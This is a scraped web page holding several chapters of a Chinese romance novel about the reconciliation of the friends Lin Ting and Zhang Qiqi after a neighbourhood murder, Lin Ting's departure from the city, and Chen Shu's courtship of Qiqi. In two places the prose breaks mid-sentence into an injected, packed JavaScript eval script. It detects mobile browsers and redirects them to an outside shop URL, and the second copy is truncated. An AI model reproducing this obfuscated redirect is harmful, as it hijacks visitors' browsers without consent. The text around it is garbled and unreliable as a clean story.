太阳,好安心的感觉啊!自那一年后,她就格外讨厌暴雨如注的天气,偏爱炙热灿烂的大晴天。 叮、叮、叮——是微信信息连续不断响起的声音。 林听低下头,点开微信页面,是群消息,这个群是当时在宏图的时候,几个女同事拉的代购群,她退出了宏图的工作群,但是这个代购群她倒是忘记退了。 此时群里的信息显示99+ 林听本来不想看的,但有人@她,她只能往上翻了翻,然而这一翻,她顿时如坠冰窖。 群里的同事在议论着今天早上发现的一起杀人案件,他们身为媒体人,自然是比起普通民众更早知道一些消息的,这件杀人案她们据说是发生在昨天晚上,而地点就在凰屋别墅区那边,听说受害者是个年轻的女孩子,晚上出来遛猫的,猫不见了,在找猫的时候被人一刀割了喉,血溅当场…… 同事@她,【今天早上收到消息后,余味就被派出去采访了,那个胆小鬼最害怕这种场合,要是林听你还在的话,百分百是你出外勤。】 凰屋别墅区、年轻的女孩子、还有猫…… 林听握着手机的手止不住地颤抖,她知道仅仅是这三项根本不能就此判定受害者会是期期,但是她就是害怕,惊惧、惶恐,哪怕有万分之一的可能她都承受不起。 她原本就是个不受命运青睐的人,幼年时父母去世,后来是兰亭、奶奶,而现在她害怕命运就是铁了心要苛待她,期期!期期! 不会的不会的! 一定是她想多了!不是期期,不会是期期的! 林听腿都开始软了,她连忙跑出小巷子,拦了辆出租车往凰屋别墅区赶过去,方才还觉得温暖的太阳此刻仿佛隔了层厚厚的膜一样,一点暖意都落不到她身上。 她不断地催促着司机开快点,司机听得眉头都皱起来了,本想生气,但见她白着一张脸,眼尾红红的,一副要哭的样子,便忍着劝道,“不能再快了,再快就超速了……” 林听愣了下,稍稍缓过神来,她低声道:“不好意思……” 窗外的景色飞驰而过,林听按耐住内心的焦躁,静静地坐在后排座位上,然而她手上的动作却不停,指尖一下又一下地翻着群消息,希望能从群里得到更多的消息,但群里的人都没有去现场,知道的消息也不多,余味的联系方式她前阵子就删除了…… 这一刻,林听后悔不已。 时间仿佛被无限地拉长一般,等出租车停在目的地不远处时,林听仿佛觉得自己度过了很漫长的一段时间。 她急匆匆地付了钱,推门下车,跌跌撞撞地往前跑去,前方围着一群看热闹的群众,大家议论纷纷,还有一些扛着摄像机和拿着话筒的记者,警察拉起了警戒线,守着警戒线不许任何人靠近。 林听自然也不例外地被拦了下来,对方呵斥道:“看热闹看到要闯进去?麻烦不要增加我们的工作!往后退!” 林听连连道歉,白着脸解释道:“不是的,不是的,警察同志,我不是要看热闹,我朋友就住这里面,我很担心,能不能让我进去找找她。” “你进去干什么?打个电话给你朋友不就好了。” 打个电话……对对对,打个电话!林听摸出手机,下一刻却一滞,可是她没有期期的手机号码啊! 她收起手机,“不好意思,我没有我朋友的联系方式,可以让我进去找找吗?她叫张期期,就住这里面。我没说谎。” 警察眼神奇怪地看着她,说是朋友,却连联系方式都没有。一定是想进去近距离凑热闹的人,真是……好好的女孩子,怎么跟大爷大妈一样瞎凑热闹,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977261|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死人是能看的吗?有什么好看的! “往后退往后退!说了不能进就是不能进。” 林听越来越着急,忍不住又朝警察问,“我可以不进去,但……能不能告诉我,受害者的名字,我……” 警察这下也烦了,要不是看她脸色不好,又是个女孩子,他早就发火了,此刻见人还想问案件的具体细节,他怎么能忍,当下就喝道:“你想妨碍警察办案吗?” 此时,围观的群众也忍不住纷纷看向她,窃窃私语着,凑热闹这么勇的,属实少见。 来现场出外勤的余味也看到了林听,他忍不住嘲笑道:“都不是记者了,还改不过来打探消息的习惯吗?” 林听才懒得理他,她不得不往后退了几步,踮起脚尖伸长脖子想往里面看。 …… 诶?发生什么事了? 张期期提着菜篮子,疑惑地望着前方被堵住的路,这么一大群人挤在这里干什么呢? 但她也只是疑惑了一瞬间,便将其抛之脑后,她一向不喜欢凑热闹,所以也不在意,找了个人少的方位,她抱着菜篮子挤进人群,“让一让……让一让……” 好不容易从人群中挤出来,抬眸便看到前方居然拉起了警戒线,有警察在站岗,等等……正被警察呵斥的人,怎么身影、声音都那么熟悉…… 林听吗? “林听?” 身后传来一声熟悉的声音,期期!是期期的声音!此刻,这一道声音仿佛天籁之音一样,让她跌落谷底的心重新飞扬起来。 林听豁然转身,人群里张期期正抱着一个菜篮子,微微歪着头,疑惑地看着她。吧嗒一声,泪水滴落,林听喜极而泣地跑过去,一下子抱住了张期期。 张期期:?? 她愣了下,有些受宠若惊,她虽然疑惑,但还是腾出手安抚性地拍了拍林听的后背,低声轻柔道,“怎么啦?” 嗯……虽然她们中间隔着一个菜篮子,膈得她有些疼就是了。 林听微微弯腰埋在她的肩膀上,摇了摇头,瓮声道:“没事……” 张期期闻言便也不问了,她忽略周围奇怪的目光,神色自若地任由林听抱着,等她恢复好心情。 好半响,林听终于缓缓站直起身子,她的脸微微红,神情尴尬。 张期期笑了笑,朝前方看了一眼,拉起警戒线?看来现在一时半会儿是进不去了,也不知道发生了什么,她早上醒得早,所以早早就出来逛街买菜了,当时她出门的时候还好好的呀! 想不清楚,便索性不想了。 张期期笑着,一手抱着菜篮子,一手牵住了林听的手,“我们去那边的早餐店坐一坐。” 林听顺从地被张期期牵着手,两人一齐并肩走着,都有些尴尬和不自在,眼底却带着喜悦和忐忑,走了一会儿后,林听忽然抽出了被张期期牵着的手,张期期眼底霎时闪过失望、落寞。 不想林听虽然抽出了被牵着的手,却换了另外一种她们更为熟悉的动作,林听挽上了张期期的手臂,像那些年一样,她们手挽着手,一起上厕所、一起在穿梭在一中的校道上。 张期期睁大双眼,眼神一亮,走路都开始同手同脚起来,林听见她这副模样,噗嗤一声笑出来。她笑了,张期期便也笑了…… * 说是早餐店,但期期还是找了稍微能安静点坐下来谈话的肯德基店,两人各自点了一个早餐的套餐面对面着坐下来。 泛着暖意的灯光倾洒在店内,店里吃早餐的人们大多数都低着头刷着手机,或是低声地说着话。 张期期看着坐在她对面的林听,此刻依旧有些受宠若惊,她不知道为什么突然之间林听就愿意再次接纳她了,但……无论如何,她总归还是开心的。 机器很快就叫到她们的取餐号,两人一起去取了餐。 林听微微垂眸,喝了一口豆浆后,忽然微微笑着道:“期期,我准备离开京照了……” “啊?”张期期一愣,明亮的眼眸有些沉寂下来,难道是因为她吗?她抿了抿唇,心里开始难受起来,因为不想见到她,所以想要离开这座城市吗? “如果是因为不想见到我……我可以离……” 林听伸出手握住她放在桌面上的手,紧紧、紧紧地握住,“期期,不是的,和你没有关系,我只是想去换个城市透透气。” 张期期回握着林听的手,好半响,她才低声问道:“那……你要去哪个城市?” “唔……华城吧,我想先去华大逛一逛。”林听眼眸中闪烁着细碎的光芒。 华大。张期期抿了抿唇,那是……他们一行人曾经约定一起去的大学…… 林听接着道:“你也没去过华大吧,到时候我拍照片给你看。我们……加个微信吧。” “好!” “你什么时候走?”张期期问道。 林听:“还不确定,走之前会通知你的,你会来送我吗?” 张期期:“只要你告诉我,送你或者接你,我都会去。” 看着如今这个仿佛蒙上了尘,不再像年少时那么耀眼绚烂、活力四射的张期期,林听眼角泛酸,“期期对不起,兰亭的死不怪你的,都是意外,我怎么能怪你呢,我怎么能……” 在误解了以为期期出事时,她曾经被怨恨操控着的情绪完全散去,她不敢想象这些年,期期得过得多苦,兰亭是期期从小一起长大的朋友,比她还要早认识彼此。她作为期期的朋友竟然去指责兰亭的死是因为期期脱口而出的一句气话。 每晚她夜夜难眠,期期看起来精神比她更差,她无法想象她是伴着怎样的悔恨和自责入眠的,这些年期期也没有放过她自己吧。 张期期微微笑起来,伸手抹去林听眼尾的湿润,“没关系的,真的没关系的……” 窗外的炙阳缓缓移动,透过玻璃墙,落在了她们的脚下,张期期、林听四目相对之下,彼此都红着眼眶,最终她们眼泪掉着掉着又笑了起来…… …… 120. 第 120 章 - 张期期回到凰屋别墅区门口时,门口的警戒线还拉着,她找门卫报了具体住址和名字,门卫核对无误之后才得已进去,其他围观看热闹的群众、媒体都被挡在了外面。 看热闹的群众说着话时,张期期偷偷听了几耳朵,这才知道原来是发生了命案,死的是个年轻的女孩子。 她吓了一跳,快步往家里走,道路两旁郁郁葱葱的,平日里她觉得这片儿地区绿化做得不错,然今天却觉得渗得慌,因为能藏人的地方实在太多了,视野盲区也是。 走着走着,便见前方不远处围着一圈人,要么是警察,要么是身穿白大褂的医生,至于……一直在哭的,大概是受害者的家属吧。 人群中,张期期蓦然看到昨天晚上那个和女孩子闹别扭的男生,男生一边哭一边说道,“昨天晚上我为什么要和她吵架,为什么要和她闹别扭,如果我当时跟上去了,是不是……是不是就不会发生这样的事情了?” 张期期眼眸一缩,这话是什么意思……难道受害者是昨天晚上撞到她的那个女孩子? 她脸色瞬间白了下来,这会儿她才意识到这个位置……这个位置就是昨天晚上她本来想拐弯,但木木突然间凄厉地叫了起来的地方,要不是木木,她也会走这条小路…… 一阵浓浓的后怕侵袭而上,她指尖微微颤抖,紧紧抿着唇,选择拐了个弯,绕了另外一条路走回家。 等到了家门口时,还未等张期期敲门,大门瞬间被人从里面拉开了,戚和风、张洁莉见是期期,立刻一把将人拉了进来,随后快速地关上门,锁住。 两人心有余悸地看着张期期,她们今天醒得比期期晚,所以期期出门的时候她们根本不知道,醒过来后看到业主群里发的消息,她们简直吓死了,正要出门找找期期呢,还好她回来了。 “最近这段时间先不要出门,买菜这些让人送上门来就行,谁知道那个凶手会不会还在附近。”张洁莉皱起眉头道。 三人面面相觑,最终决定将别墅的门窗全部检查一遍,关紧锁好。 张期期看着戚和风、张洁莉担忧的样子,还是没有把昨天晚上要不是木木突然尖叫,她也有可能走了那条事发小路的事情说出来,反正都过去了,还是不要凭白让她们担心的好。 戚和风坐在沙发上,一边皱着眉头,一边翻着微信业主群,“他们说那个女孩子是昨天晚上找猫的时候跑进了小路里,这才被蹲守在那里的凶手杀了的……这……” 昨天晚上确实有好几个年轻人帮期期找木木,难道……难道还真的是其中一个女孩子遇害了? 张洁莉脸色也难看起来,若真的是这样子……即便另有凶手,期期肯定也会被受害者的家属迁怒,这事实在不好说,人家女孩子失去了性命,这……从道德层面上要说她们没有一点责任那是不可能的,但……谁能想到凰屋别墅区的安保这么差,居然让凶手混进来了!物业这边肯定也有责任! 这可怎么办才好啊!戚和风、张洁莉面色忧愁,她们既愧疚遇害的女孩子,又担心等会儿会不会有警方和受害者家属上门来为难期期…… 戚和风把她的猜测和张期期说了,又道:“期期,你上楼去吧,等会儿要是有警察过来询问什么的,妈妈会和他们说,你一个小孩子不要出面了。” 张洁莉点头附和着,总归有什么事,她们作为大人,还是得挡在小孩子面前。 张期期一直静静地听着,心底微微泛上暖意,即便她妈妈不像小时候那么处处呵护她,事事以她为中心,让现在的她感受到了被忽视的难受、落寞,但……她妈妈是爱她的,她知道的。 妈妈有她自己的追求和梦想,她作为女儿要支持她,所以忽视也不要紧,她已经长大了,能很好地接受这种落差,只要她妈妈是爱她的就可以了,这种爱并不需要比得过她的梦想。 “妈,阿姨,你们不用担心,受害者不是帮我找猫的女孩子,是……”张期期垂眸,“是另外一个女生。” 戚和风、张洁莉面面相觑,怎么感觉她们家期期认识那个受害者一样,“这到底是怎么一回事?期期!” 无奈,张期期只能将昨天晚上发生的事告诉了她们,“……所以说,如果不是木木,我可能……” 话说到这儿,楼上忽然蹿下来一道阴影,正是护主的木木,它一下子蹿到张期期的怀里,然后安静地趴着了……仿佛就像是睡到一半突然想起来昨天晚上的事,随即要确认主人的安全一样,而确认主人安全了,便安心地继续睡觉了…… 张期期下意识地摸了摸木木的头,嘴角微微带着一丝笑意。 戚和风后怕不已,拍了拍砰砰直跳的胸口,感叹道:“难怪别人都说猫是有灵性的动物。” “是啊,多亏了我们木木。”张期期笑着道。 …… 别墅区内的业主要么选择紧闭门窗窝在家里,要么选择出去住酒店,或者是找亲戚、朋友家对付几天。 而警察在别墅区内翻天覆地地找,最终在一个比较隐秘的监控里看到了凶手的样貌,这个监控藏在树里,因此凶手完全没有注意到。 根据遍地的监控,警察一路追踪,终于在两天后抓到了正准备离开京照市的凶手。当然这都是后话了…… 此时,张期期窝在房中画着前几天接到的定制水彩画,对方规定了色彩、画相表现的情绪类型,就任由她自己发挥了。 按理来说,这种没有要求的甲方才是最难搞定的,但这个客人是她的老客户,最是熟悉她的画风,因此她才接了下来。 一连忙碌了好一阵子,这期间间或陈恕发给她柏雪案件的后续,间或是林听告诉她,她在网络上查找关于华城的景点,她不止要去华大,还要好好看看华城这座城市。 晚上八点钟,张期期将画笔放下,看着手机里林听发过来的消息,嘴角微微上扬,林听能往前走,至少不再被困于这座城市,真的太好太好了…… 【期期,我明天下午6点的飞机。】 “好,我知道了,我去送你呀。” 【好。机场见。】 …… 与此同时,林听也微笑将手机放在桌面上,随后看向不远处拿着公文包走过来的男人,对方面色平静地坐在她的对面,“约我出来是有什么事吗?” 他其实是有些诧异的,林听除了以前工作上有事找他对接之外,很少联系他的。 “喝点什么?”林听好整以暇地问道,她没有直接回答他这个问题。 陈恕眉眼一挑,笑了笑,随手点了杯美式咖啡,调侃道,“嗯……单也点了,就直说吧。” “我明天下午6点的飞机,离开京照。” 林听手肘撑在桌面上,手掌心撑着下巴,微微侧头望向玻璃窗外灯火闪烁的京照市,行人急匆匆地走过玻璃窗,一个又一个,每个人都在按照着自己的步伐往前走。 陈恕抿了下唇,离开京照?是指多长时间的离开,还会回来吗?又要去哪儿?然而这些话最终他都没有问出口,反而点了点头道:“好,我知道了,明天我送你。” 林听闻言,突然轻笑了一声。 陈恕疑惑地抬眸看着她,林听这才敛了下眉,轻轻摇了摇头,“没什么,只是你这句话和期期一模一样。” 陈恕眼眸微闪,低头喝了一口美式咖啡,“是吗?那她明天……” “她明天也会来送我。”林听直接说出了陈恕心中最在意的事情。 陈恕侧过头望向玻璃窗外,事到如今无论是谁都能看出来他还在在意着那些过往,舍不得放弃却又郁郁难平。 他忽然低声道:“林听,我以为你像我一样会永远介怀着她的不告而别,现在又是为什么呢?你放下了?”< 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那一天,京照市暴雨如注,寂静无声的墓园里,她微红着眼将纯白的花束放在了墓碑前。墓碑上的照片,少年笑脸璀璨,仿佛再大的风雨都无法掩盖他的绚烂,可他偏偏离开了…… 看着一旁面色苍白,不停垂泪的张期期,林听心中怨愤不已,她想嘶吼,想质问,想问她为什么,到底为什么…… 但没必要了,问了又能怎么样,兰亭都离开了,他永远活不到十八岁了,而期期甚至在这个时候不告而别,如今呢,又假惺惺地回来做什么! “当初是你说的,让兰亭一辈子睡在篮球场上,张期期,你的话应验了,是你,是你诅咒了兰亭!” “以后,兰亭忌日的这一天,我不希望再看见你。” - 到如今,她依旧记得期期那双眼忽然就此沉寂灰暗了下来,看着哀伤悲恸的期期时,那时的她痛快不已。 林听垂眸:“是我把兰亭的死强加在了期期的身上……我告诉她,是她诅咒了兰亭,当年高三我们被罚扫操场的时候,期期说过,有本事让兰亭一辈子睡在篮球场上……” 陈恕瞳孔一缩,内心狠狠震了一下,“你……”这种话期期怎么承受得起!这话太诛心了,兰亭的死怎么能怪到期期身上…… 这些年他也接过一些过失伤人的案件,当事人只要有良知的,都会痛苦愧疚、自责难安,要用一辈子的时间来偿还,更何况是期期呢…… 期期是个心软,又将朋友看得很重的人,兰亭和期期可是从小一起长大的啊,她怎么承受得了是因为她随口的一句话,诅咒死了兰亭这件事…… “很过分对吧?但当时的我真的这么觉得的。”林听扯了扯嘴角,眼底苦涩。 陈恕往后坐了坐,靠在沙发上,他一向挺直的背也在讲到兰亭时微微塌了下来,指责林听吗?不,他怎么说得出口,这些年他和先哥都知道林听也在挣扎着。 而林听还在继续说着,“还有更过分的呢,我告诉期期,我不想在兰亭忌日的那一天看见她,却告诉你,希望你每年在兰亭忌日当天守约前来。” “你……”陈恕愕然。 “对,我是故意的,故意让你们错过,不然你们早就遇见对方了……” “我不平、不愤,因为我和兰亭再也没有相遇的那一天,所以我嫉妒你们,嫉妒你们还有未来,我要你们永远遇不上对方……” 陈恕冷声道:“别说了!” 林听沉默下来,想不到吧,她就是这样的人,对自己的朋友耍心机,没关系,陈恕生她的气,怨恨她都是应该的,是她自私自利地想要大家一起痛苦。 沉默,沉默,良久的沉默…… 最终陈恕拿着公文包站起身,平静道:“明天机场见。” 121. 第 121 章 - 晨曦的太阳带着轻微的暖意,墓园里,鸟儿的鸣叫声一阵又一阵,微凉的清风缓缓吹过,带来一阵阵恰意和舒爽,这里是偏远的郊区,城市的繁华止步于此,留给了已逝之人一片宁静。 林听站在冰冷的墓碑前凝望了很久很久照片上的少年,他的笑容一如她记忆中的模样,绚烂、意、张扬。 好半响,她半蹲下身子,视线与墓碑上的照片平齐,她伸出手摸着冰凉的墓碑,眼底闪过眷恋和不舍。 “兰亭,我要离开京照市了,我想去华城华大看一看,那里是我们曾经约定的地方……” “迟了这么多年才去,你不会怪我的吧?” “……” 她絮絮叨叨地独自说着,在长久的无人回应中猛然掉下泪珠,索性也就直接蹲在他的墓前将头埋在膝盖上,任由泪水倾泻而下…… 日头渐渐往上升,带着暖意的阳光变得炙热起来,林听抹去眼角的泪水,仿佛下定了什么决心似的,她从包包里拿出一个透明的小玻璃瓶,从许兰亭的墓前挖了一些细碎的泥土装进了瓶子里,再盖上盖子。 “兰亭,你也想去看看的吧,我们一起去。”她拿出纸巾将玻璃瓶外的泥土擦干净然后小心翼翼地放进包包里。 再次深深地看了墓碑上少年的笑容一眼,林听猛然闭上双眼,狠心转身离开…… …… 下午四点半。 林听拉着行李箱出现在机场大门入口处时,她刚一下出租车,转身便看见张期期、陈恕、周嘉先都站在人来人往的门口处。 他们三人自然都是长相出众的人,因此进去机场的旅客总是投去注视的目光。 见林听到了,张期期率先跑了过去,陈恕、周嘉先紧跟在她的身后。 林听微微笑了笑,“这才四点多,你们怎么这么快就在这里了?” “机场很大,人又那么多……时间太急的话,我怕找不到你。”张期期抿了抿唇,有些不好意思。 “我们已经有微信的联系方式了啊。”林听提醒道。 张期期愣了一下,她给忘记了,她尴尬地笑了笑,试探着伸手挽住对方的手臂,见林听没有拒绝,她眼底荡起了笑意,林听也微微笑了笑。 陈恕和周嘉先互相看了对方一眼,眼底闪烁着同样的诧异,她们两人怎么突然就……就好像完全和好了一样,林听仿佛放下了芥蒂,期期也有勇气去牵着她的手了…… 虽然不知道为什么,还是又发生了什么他们不知道的事,但总归眼前的这一幕是他们乐意看到的。 周嘉先笑着走过去,接过林听手中的行李箱,道:“进去吧,里面比较凉快。” “嗯。” 林听笑了笑,大家都来了,包括兰亭,她的余光瞥了一眼腰侧的包包,好在她是从京照飞往华城,要是出国的话,土壤大概是带不了的吧? 机场内人来人往,每个人都拉着行李箱行色匆匆。 张期期、陈恕、周嘉先三人陪着林听先去值机、托运行李,而距离飞机起飞还有一个小时差不多,一行人便在机场里找了家星巴克点了单之后坐下来。 周嘉先笑着道:“你去华城华大的话,得先在学校公众号上预约,好像现在是每周开放一天的时间让外校的人进去,华城还有很多蛮好的景点,你时间充裕的话可以都去逛一逛……” 林听笑了笑,“好,我知道的,这些网络上都能查到的。” 周嘉先:“那行……那回来的时候也和我们说一声,我们来接你。” 林听闻言,看向张期期和陈恕,两人也微笑着点点头,表示同意周嘉先的话,林听道:“好。” 她垂眸喝了一口咖啡,入口的苦涩充盈在口腔内,余味却又醇又香,她什么时候回来京照啊?其实她自己也不确定,若是华城能留住她的话,估计就不回来了吧,但现在她还不想说…… 后续周嘉先又嘱咐了一些话,让她注意安全,好好照顾自己,有什么事给他打电话。 …… 安检口排起了长长的队伍,林听背着包,看着眼前的张期期,她笑了笑,伸手抱住了她,低声在她耳边道,“期期,对不起,还有……再见。” “不要说对不起了,你出门在外,多注意安全,到了发个信息给我。” “好……” 接着林听又轻轻抱了抱周嘉先,“先哥,这些年真的谢谢你。” “客气什么,我应该做的。” 最后,林听看向陈恕,昨天晚上她说了那些掩埋在心底的话,陈恕应该很生气吧…… 然而林听微垂下眸时,陈恕走过来很轻很轻地环抱了一下她,“去了华城,希望你开心一点。” 林听愣了下,眼里带起笑意,她在他耳边小声道:“陈恕,期期离开是迫不得已的,她遇到了很糟糕的事,只是我们都不清楚而已。” 说完,林听往后退了一步,离开了陈恕的怀抱,她的视线在他们脸上一一掠过,最后笑着道:“我走了,再见。” “再见……”三人异口同声。 不远处隐秘的角落里,一身西装的男人伫立着,静静地看着林听,看着她同每一个人拥抱告别,看着她转身走进了登机口里面…… “老板,您真不过去?”秘书小陈低声道。 林听的背影消失在他的眼前,许敬亭转身道:“走吧,回去了。” …… 廊桥上,林听隔着透明的玻璃望着停机坪上方的天空,此刻晚霞满天,赤色仿佛燃烧了一整片的天空,像那一日荒地前,他们许下了约定的那一天,而现在,她要去赴迟到了九年的约。 兰亭……我们走吧。 * 林听离开京照后,她的微信个人空间会时不时地po出一些照片,华大校园的、华城著名的景点、华城好吃的街头小吃等等…… 傍晚,红霞满天,张期期结束了手头上的画稿之后,狠狠地松了口气,这个约画的客户比较难搞,她已经改了好几次了,希望这个客户能采纳她手头上最新的这一张吧。 她将新画稿发送给客户后,客户一时间还没有回复,正打算放下手机时,微信页面又显示有新的消息进入。 是陈恕…… 张期期顿了下,有些发愣,低头望着手机屏幕,这阵子……柏雪案件的大作者一直使各种方式来拖延开庭的时间,像上次就是用案件归属地来拖延……所以这阵子她和陈恕经常接触。 但是……陈恕和她谈完正事之后,总是约她顺便吃个饭、顺便带她出去逛、顺便约她看电影等等……可是这些事情明明是男女朋友之间才会做的事情,她和陈恕现在又算什么呢? 叩叩叩—— 门外响起了敲门声,张期期回过神,连忙跑过去开门,戚和风站在门口眼底带着激动的神色,“期期,下个月中心大剧院有盛典,很多国家级的表演者会一起排个节目,她们邀请了妈妈,期期!她们邀请了妈妈……” 张期期闻言,方才眼底的忧愁全部散去,她高兴地抱住戚和风,开心道:“哇!!妈妈太棒啦!!那我是不是到时候能亲眼看到你在舞台上啦??” 戚和风抱住女儿期期,眼眸带着笑意,眼尾微微湿润,“对,到时候就能看见妈妈站在舞台上了!” 虽然说她在国外国内也出演过很多剧场节目,但这种国内专业领域顶级老师的认可才真的让她忍不住红了眼眶。 重回舞台上的这么多年,她心里总是绷着根弦,年纪不占优势、人生的黄金时间太少太少,她生怕自己离婚之后、努力之后又发现自己只是个笑话,好在……她终于得到承认了。 张洁莉站在不远处微笑地看着相互拥抱的母女,这些年小风把自己绷得紧紧的,甚至因此忽略了女儿,但还好……期期是个好孩子。 “那……妈妈,到时候可以多给我一张票吗?” 戚和风眼底露出意味不明的笑意,“给陈恕的吗?” “啊……”张期期羞怯地笑了笑,又点点头道,“嗯,给他的。” 戚和风伸手揉了揉期期的发顶,这些日子她已经尽力去撮合她和霍玖了,但……她心中叹了口气,算了,还是不要为难她好了。 “好,妈妈知道了。” 凰屋别墅区杀人案件的凶手落网之后,戚和风、张洁莉恢复了往日的习惯。她们吃完晚饭之后就出了家门,在小区里散步。 一路上以往郁郁葱葱的树木被物业修剪了很多,路上也多了好些监控设备,小道上更是亮起了超大功率的路灯…… 张洁莉边走边道:“小风,你同意期期和那个叫陈恕的孩子了?霍玖是没希望了啊!” 戚和风闻言,沉默了好半响,她挽着张洁莉的手臂找了个亭子坐下。 晚风吹拂,凉爽恰意,她笑了笑,没有直接回答张洁莉的问题,反倒是道:“刚离婚的时候,不可否认的是我被张世明影响到了,我确实也认同了门当户对的看法,期期毕竟出身张家,她和陆家的孩子是彼此最好的选择,我当时想啊,为了避免以后期期像我和她爸一样的结局,我反对了她和陈恕那孩子……” “后来,期期离开了张家,张世明又有了儿子,即便她名下还有资产,但在他们那个圈子里,期期已经不具备联姻的资格了,她和向川就不合适了。这个时候我又觉得霍玖不错,霍家虽然比不上张家,但期期名下的资产能和霍家拉平,他又是你的学生,你看着长大的,我非常放心,所以我还是不太同意她和陈恕……” 戚和风望着天际边上遥远闪烁的星光,“我不想期期步我的后路,年轻的时候做着灰姑娘的童话梦,而事实证明童话永远不可能成为现实,婚姻破裂、事业一事无成,我失去了年轻时随心所欲的资格,但是现在……” 她看向张洁莉,眼底荡起欢喜,“现在大概是收到了专业老师们的邀请,我好像又有了底气和期盼,我不应该将我的失败强加在期期身上,她的未来不一定会像我这样,她有随心所欲选择的机会,即便最后证明她的选择也是错误的,但好歹我这个妈妈可以成为她的榜样,错误了也没关系,我可以重新站在舞台上,她也可以重新再来……” 张洁莉发自内心地笑了,她伸手握住了戚和风的手,“小风,我好像看到了好久好久以前的你。”不是这几年憋着口气,内心绷着弦的她,而是真正发自内心的自信和从容。 戚和风自然明白她的意思,她也笑了。 “好啦,现在我家小玖没机会了,我会和他好好说的,让他不要再去打扰期期了。”张洁莉笑着道。 戚和风眼神带着歉意,“倒是有些对不起霍玖了,我们先撮合的,现在又……” 张洁莉摆了摆手:“没事,这种事本来就是这样子的,哪有说我们撮合就一定行的。” “哎……”戚和风叹了一声。 * 另一边—— 金颂律师事务所。 员工办公区的同事都下班了,只剩下助理小林还在忙着手头上的工作。 助理小林看了一眼楼上两间办公室套间,两间都亮着灯,两位老板还在办公室忙着,他们这些员工倒是一个个先下班了,大概在律所里也只有他们金颂是这种情况吧…… 不过……最近这段时间,周律师和老板好像都有点奇奇怪怪的,平日里不苟言笑的老板最近反倒眉眼舒畅,仿佛有什么舒心事一样,而一向温和幽默、平易近人到不喜欢别人喊他老板的周律师,最近总是皱着眉头、一脸愁闷的样子。 哎……真是稀奇了…… 助理小林也就这么想了一下,便将这些抛之脑后,赶紧忙完后下了班。 - 陈恕低着头处理着工作,时不时拿出手机看一下,正是这样的行为导致他到现在还没下班。但此时的他可意识不到这一点,他正抿着唇看着微信页面上他发过去的消息。 【期期,先哥推荐了一家还不错的餐厅,你明天有空吗?有空我们去试试?】 期期还没有回复他,陈恕有些烦躁地拧了拧眉心,之前他都是用正事约她,忙完正事之后才借机和她一起吃饭,而不是像这次一样直接约她。 看来还是太快了,他应该再慢点、再慢一点麻痹她,让她习惯他的存在。 陈恕索性将文件合上,脚下一转,椅子就换了方向,他靠在椅背上望着落地窗外的景色。 城市的繁华一日胜过一日,高楼下车水马龙,车灯比群星还闪亮,倒衬得夜幕一片漆黑。 …… 「陈恕,期期离开是迫不得已的,她遇到了很糟糕的事,只是我们都不清楚而已。」 林听的话仿佛回响在他的耳边,陈恕抿了抿唇,她不知道期期到底遇到了什么事情,但她的离开就是事实,她再不得已,他不可能就此将这九年的苦痛和绝望就此掀过。 但…… 「只是觉得很多事在生死之间,都算不上什么大事,其实这个道理我们早该深有体会。」 是啊……哪怕对于她的离开,他仍然心有芥蒂,但没关系,只要她能在他身边,他就能忽视这些芥蒂,所以他不想询问她的过往到底是怎样的不得已,他要的是未来。 叮—— 陈恕眼眸一颤,立刻拿起手机,是期期的消息,她道:【好,我有时间。】 安静的办公室内骤然响起了一声轻笑声,陈恕神情愉悦地放下手机,心无旁骛地看起案件资料来…… 一直到夜深,他才将明天的一部分工作先忙完,保证和期期约会时间上的充足。 陈恕关掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张期期、陈恕面对面坐着,一旁就是能看到漫天晚霞的落地玻璃窗。桌上,汀园居的菜色看起来很简单,但每一道菜的工艺都非常复杂,香气缭绕、汤汁保持着鲜味。 张期期随手夹了一筷子豆芽菜,吃到嘴里时她瞪大了眼睛,这……“这豆芽里面是塞了肉吗?” 陈恕笑了一下,点头,“这是他们这最出名的菜色,好吃吗?” “嗯!”张期期眼眸带笑地点点头。 陈恕见状便拿公筷夹了一筷子放在她的碗里,这些日子以来,他已经摸清了期期的口味,她现在几乎不怎么吃肉,在看到荤菜时会下意识地皱起眉头。 但……人不吃肉怎么能行呢?这家店的这道菜正好可以解决这个问题。 张期期:“先哥是怎么发现这家店的啊?” 陈恕笑了笑,“我也不知道,应该是和客户来过吧。” “哦!”张期期点点头。 汀园居的装修布置非常注意客户的隐私性,木质结构雕栏玉砌,每张桌子都是一个独立的小空间。暖色的灯光照映着食物让人更有食欲感,悠扬的轻音乐既不会妨碍人们的交谈,也能更人舒适放松。 当张期期和陈恕吃完结账出来后,便看到汀园居的门口拍了很长很长的队。 “陈律师!?”队伍里突然有人惊讶地喊了一声。 张期期、陈恕下意识侧首望过去,陈恕嘴角挂起礼节性的微笑,喊他的是联合律所的律师,“汪律师……” 汪雯真脸红了一瞬,她是刚进联合律所的实习生,还没到可以独自接案的时候,所以也够不上能被称为“律师”,还是被金颂律所的老板喊“汪律师”。 太尴尬了!她刚刚为什么要喊对方吧?但是……没想到陈律师居然记得她,一定是她很优秀! 陈恕笑了笑,“这家店还蛮好吃的,他们家的招牌菜不错。” “啊……是,我、我就是听别人推荐的,所以就和朋友过来了。”汪雯真说着,也注意到了陈恕旁边神情局促的女人,“啊……陈律师和女朋友过来吃饭吗?” 说完,汪雯真简直想捂脸:…… 她嘴快了,没听说陈律师这个黄金单身汉已经有女朋友了啊…… 果不其然,她看到陈律师旁边的女人露出了尴尬又无措的神情,对方支吾着想解释,“不、你误会了,我……” “暂时还不是女朋友,不过我正在追。”陈恕微笑道。 汪雯真:!!! 张期期:??? 汪雯真握拳鼓气:“陈律师,加油!!” 陈恕笑着点头,“谢谢,我会的。” …… 